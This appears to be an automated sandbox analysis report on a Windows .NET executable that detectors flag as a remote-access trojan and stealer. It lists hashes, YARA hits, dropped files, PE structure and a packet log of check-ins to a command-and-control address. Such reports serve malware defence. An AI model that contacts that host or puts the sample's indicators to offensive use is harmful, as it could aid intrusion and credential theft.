SHA-256:	0CE80AEB4D7735CB992EFA0666B150AEB8E5BEC83E5FF2389FA643C28FFD87FA
SHA-512:	719DB18F98C4B9CAC1C09954FAE46DEF924F1E9425F863CC515C453D174C0701FBF56A7FE60A4146E7A78E3906CFBB86DD8D84E4085FB2CD2654109E1980940F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Windows\Speech_OneCore\Engines\SR\en-GB-N\OfficeClickToRun.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\Speech_OneCore\Engines\SR\en-GB-N\OfficeClickToRun.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e............................n.... ... ....@.. .......................`............@................................. ...K.... ..p....................@....................................................... ............... ..H............text...t.... ...................... ..`.rsrc...p.... ......................@....reloc.......@......................@..B................P.......H...........\.......n...<...J'...........................................0..........(.... ........8........E....`...).......<...8[...(.... ....~....{....:....& ....8....(.... ........8....(.... ....~....{i...9....& ....8........0.......... ........8........E........>..............8.......... ....~....{i...9....& ....8....~....:.... ....8....~....(I... .... .... ....s....~....(M....... ....~....{....9i...& ....8^.......~....(Q...~....(U... ....?.... ....82...r...ps....z*..(.

C:\Windows\Speech_OneCore\Engines\SR\en-GB-N\OfficeClickToRun.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\FYKrlfQrxb.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Speech_OneCore\Engines\SR\en-GB-N\e6c9b481da804f

Download File

Process:	C:\Users\user\Desktop\FYKrlfQrxb.exe
File Type:	ASCII text, with very long lines (630), with no line terminators
Category:	dropped
Size (bytes):	630
Entropy (8bit):	5.901536147198611
Encrypted:	false
SSDEEP:	12:OzSjX5jWDnWHHRU2xCW/7GaKvJ5kUYyGWGCcDL6XAAJSczVqXUH1jcRUSC:zX5EnWRU0EJaUYccDWXAsvzVqmjceX
MD5:	F2835262566B97CA474EF1FDA4580830
SHA1:	0B7FFBCD9BE44E8ADF2F6239E6029EBCA26AA618
SHA-256:	B05CF4FFCF2D16261E60E1DA78A11FEEC068ECF696C0C4CDF749CE63D8607A68
SHA-512:	9CE28ECFD77DE40071E3244FDC5AE09B48A56F9C945122574F33FDC721E03768B1BB841A656E55BCAF2346BD1CDC93514119EFC9A207CD23DC03E485A6280CB5
Malicious:	false
Preview:	6AcYdw1kfZbs6dqi22BkDN8LpQoSodyucClRJ3n6GjWfQgFmKQ6waRjsCRtMIj5ClqQ32ZZ8OFed1c4ILBIYhBULd3O1JaxhnU4kQLuv07hUxG0jWlBHahejVEa9KhyyR60giU29QXhjd9YWCofiZqGGzVOLvvkTJtD0PTBCsB0D94FWqD6fCPZk0trMGrNfwOau6hGsmdzX0CH4P1esyER3UcAgmy5BxUQueVZJ6N2jaBuxmw7OMfqr7gZdhkGyhxjfwWa3bVvkMsdSsN301qzSojx856lVHEBmcPBQVDw1uGfPDHvUrP608Q1Nic8ftZcHq1zdMmey38ihDi4yKRo2IKnLXxr3FQHUnXiMRSIEvI6AsTJAhJVcvk9fNnFY4ksn0N4p9sh2JjG9OncEorW65piCYD8nNuJKZTJfYdAyldSMe9RkKBtNOwrLp2R6t4oZZ6k4d7pLrhUcWWiYvYcMA66mm80gLDFry3whZXGNVifqcOyST3LUbcYc97ReHJ9ncnodjA9YSP0baQKXKhMS2uPVeTibFlFLj2OzkVtT4wCMl7Ctw4Uk6qvrXS8PchSqJo2iBVwzy3YFsCthRyoLReO2HgbSXd1XeWC6EerbHewDSp9Uia

\Device\Null

Download File

Process:	C:\Windows\System32\PING.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	502
Entropy (8bit):	4.609881103024484
Encrypted:	false
SSDEEP:	12:PTl5pTcgTcgTcgTcgTcgTcgTcgTcgTcgTLs4oS/AFSkIrxMVlmJHaVzvv:jdUOAokItULVDv
MD5:	E11928D0C5EEDC09C996276A6EBEEAC1
SHA1:	50BE3CE3B504C31C85859A44BB74184530DA9221
SHA-256:	39F871844BA05FCA9B9860080BF29ABD4547B45C358EC17A4F46769CE902D4E8
SHA-512:	0D664648DF5DC71F13A23E51AC8124196302980133F950A0829FA5B7F5530271E91BC96A6FF301D624B35B6C061E2F3328D361B1ACFE68FD46404FDCD000E6C4
Malicious:	false
Preview:	..Pinging 210979 [::1] with 32 bytes of data:..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ....Ping statistics for ::1:.. Packets: Sent = 10, Received = 10, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 0ms, Maximum = 0ms, Average = 0ms..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.525948143512337
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	FYKrlfQrxb.exe
File size:	1'899'008 bytes
MD5:	de020ea4df72a05a6d3850f89804167f
SHA1:	33a5c198a384086b85dbfc8a9820d1758204667c
SHA256:	0ce80aeb4d7735cb992efa0666b150aeb8e5bec83e5ff2389fa643c28ffd87fa
SHA512:	719db18f98c4b9cac1c09954fae46def924f1e9425f863cc515c453d174c0701fbf56a7fe60a4146e7a78e3906cfbb86dd8d84e4085fb2cd2654109e1980940f
SSDEEP:	24576:hK6gLfmF6uHqFnf/0Pka1Lt8QYc/qqYaXE3KnMwtE6tTs+O+TNi+LCyiqdUG09a:hK3OsWm/I0c/WKn7E8Tse/LCVz1
TLSH:	DD95BF0696628E73C7A47F3185D7502E82B2C7727962EF1B7A1F14D1AD062309F4B6B3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e............................n.... ... ....@.. .......................`............@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x5d106e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6507AC75 [Mon Sep 18 01:48:37 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1d1020	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1d2000	0x370	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1d4000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1cf074	0x1cf200	7cae2a2e22bb3ef8c9b50739da77d84f	False	0.7765429951079622	DIY-Thermocam raw data (Lepton 2.x), scale 3584-1, spot sensor temperature 0.000000, unit celsius, color scheme 4, calibration: offset 0.000000, slope 10.629883	7.5293595147541605	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x1d2000	0x370	0x400	7bc034f98651072d22860ddfbc431da4	False	0.376953125	data	2.86382809101071	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x1d4000	0xc	0x200	65b57b6014f0731b9def420e583b0cc3	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x1d2058	0x318	data			0.44823232323232326

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-09T04:12:08.090738+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	49730	62.109.16.145	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 04:12:07.330188990 CET	49730	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:07.335071087 CET	80	49730	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:07.335273027 CET	49730	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:07.335515022 CET	49730	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:07.340296030 CET	80	49730	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:07.685297012 CET	49730	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:07.690125942 CET	80	49730	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:08.046184063 CET	80	49730	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:08.090738058 CET	49730	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:08.143620968 CET	80	49730	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:08.143637896 CET	80	49730	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:08.143709898 CET	49730	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:08.173893929 CET	49730	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:08.178658962 CET	80	49730	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:08.394454002 CET	80	49730	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:08.394629955 CET	49730	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:08.399470091 CET	80	49730	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:08.619560957 CET	80	49730	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:08.648483038 CET	49730	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:08.653350115 CET	80	49730	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:08.755397081 CET	49731	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:08.760260105 CET	80	49731	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:08.760324955 CET	49731	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:08.760488987 CET	49731	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:08.765259981 CET	80	49731	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:08.874059916 CET	80	49730	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:08.874296904 CET	49730	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:08.879165888 CET	80	49730	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:09.099127054 CET	80	49730	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:09.106985092 CET	49731	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:09.111882925 CET	80	49731	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:09.112004995 CET	80	49731	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:09.153237104 CET	49730	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:09.453919888 CET	80	49731	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:09.495835066 CET	49731	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:09.584614992 CET	80	49731	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:09.637626886 CET	49731	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:09.660656929 CET	49730	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:09.660954952 CET	49731	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:09.665662050 CET	80	49730	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:09.665713072 CET	49730	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:09.665735960 CET	80	49731	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:09.874926090 CET	80	49731	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:09.875093937 CET	49731	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:09.879971027 CET	80	49731	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:10.093835115 CET	80	49731	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:10.137607098 CET	49731	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:10.259572983 CET	49731	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:10.259948969 CET	49732	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:10.265283108 CET	80	49731	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:10.265327930 CET	49731	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:10.265424967 CET	80	49732	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:10.265594006 CET	49732	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:10.265770912 CET	49732	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:10.271054983 CET	80	49732	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:10.622083902 CET	49732	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:10.738365889 CET	80	49732	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:10.962954044 CET	80	49732	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:11.012607098 CET	49732	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:11.101396084 CET	80	49732	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:11.153229952 CET	49732	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:11.327400923 CET	49732	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:11.327725887 CET	49735	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:11.332453012 CET	80	49732	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:11.332586050 CET	80	49735	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:11.332653999 CET	49732	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:11.332688093 CET	49735	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:11.332812071 CET	49735	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:11.337622881 CET	80	49735	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:11.684586048 CET	49735	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:11.689450026 CET	80	49735	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:12.031838894 CET	80	49735	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:12.164664984 CET	80	49735	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:12.167848110 CET	49735	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:13.063791990 CET	49735	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:13.064102888 CET	49736	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:13.068866968 CET	80	49735	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:13.068895102 CET	80	49736	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:13.068938017 CET	49735	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:13.068984032 CET	49736	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:13.069086075 CET	49736	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:13.073812008 CET	80	49736	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:13.418982029 CET	49736	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:13.425723076 CET	80	49736	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:13.761442900 CET	80	49736	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:13.856370926 CET	49736	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:13.958256960 CET	80	49736	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:13.958275080 CET	80	49736	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:13.958354950 CET	49736	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:14.622855902 CET	49738	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:14.627681017 CET	80	49738	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:14.627772093 CET	49738	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:14.627882957 CET	49738	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:14.628065109 CET	49736	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:14.632667065 CET	80	49738	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:14.633034945 CET	80	49736	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:14.633079052 CET	49736	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:14.981462955 CET	49738	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:14.986323118 CET	80	49738	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:14.986426115 CET	80	49738	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:15.305710077 CET	80	49738	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:15.434506893 CET	49738	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:15.437514067 CET	80	49738	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:15.543875933 CET	49738	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:18.301276922 CET	49738	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:18.301718950 CET	49740	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:18.306392908 CET	80	49738	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:18.306464911 CET	49738	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:18.306521893 CET	80	49740	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:18.306588888 CET	49740	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:18.306689024 CET	49740	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:18.311417103 CET	80	49740	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:18.653373957 CET	49740	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:18.658240080 CET	80	49740	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:19.018223047 CET	80	49740	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:19.149487019 CET	80	49740	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:19.149535894 CET	49740	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:19.396255970 CET	49740	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:19.396380901 CET	49742	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:19.401220083 CET	80	49742	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:19.401232004 CET	80	49740	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:19.401316881 CET	49740	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:19.403347969 CET	49742	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:19.496148109 CET	49742	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:19.500987053 CET	80	49742	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:19.841090918 CET	49742	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:19.845923901 CET	80	49742	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:20.083512068 CET	80	49742	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:20.168917894 CET	49742	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:20.213495970 CET	80	49742	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:20.356427908 CET	49742	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:20.427587032 CET	49742	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:20.427881002 CET	49746	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:20.433290005 CET	80	49742	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:20.433465004 CET	80	49746	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:20.433533907 CET	49742	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:20.433557987 CET	49746	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:20.433672905 CET	49746	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:20.438453913 CET	80	49746	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:20.450876951 CET	49747	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:20.455755949 CET	80	49747	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:20.455812931 CET	49747	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:20.455913067 CET	49747	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:20.460737944 CET	80	49747	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:20.778449059 CET	49746	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:20.783226013 CET	80	49746	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:20.810765028 CET	49747	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:20.815654039 CET	80	49747	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:20.815754890 CET	80	49747	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:21.129836082 CET	80	49746	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:21.166315079 CET	80	49747	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:21.247039080 CET	49747	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:21.261413097 CET	80	49746	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:21.261497974 CET	49746	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:21.273032904 CET	49747	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:21.278153896 CET	80	49747	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:21.278213024 CET	49747	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:21.407165051 CET	49746	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:21.407732010 CET	49750	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:21.412177086 CET	80	49746	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:21.412220001 CET	49746	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:21.412605047 CET	80	49750	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:21.412664890 CET	49750	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:21.412786961 CET	49750	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:21.417563915 CET	80	49750	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:21.762804031 CET	49750	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:21.767724037 CET	80	49750	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:22.107428074 CET	80	49750	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:22.231859922 CET	49750	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:22.238374949 CET	80	49750	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:22.340792894 CET	49750	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:22.400571108 CET	49752	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:22.405335903 CET	80	49752	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:22.405591965 CET	49752	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:22.405718088 CET	49752	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:22.410444975 CET	80	49752	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:22.762742043 CET	49752	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:22.767636061 CET	80	49752	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:23.092768908 CET	80	49752	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:23.137658119 CET	49752	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:23.223381996 CET	80	49752	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:23.278275013 CET	49752	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:23.356858969 CET	49752	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:23.357187986 CET	49753	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:23.361903906 CET	80	49752	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:23.361982107 CET	49752	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:23.362021923 CET	80	49753	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:23.362108946 CET	49753	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:23.362193108 CET	49753	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:23.367091894 CET	80	49753	62.109.16.145	192.168.2.4
Jan 9, 2025 04:12:23.715933084 CET	49753	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:12:23.720860958 CET	80	49753	62.109.16.145	192.168.2.4
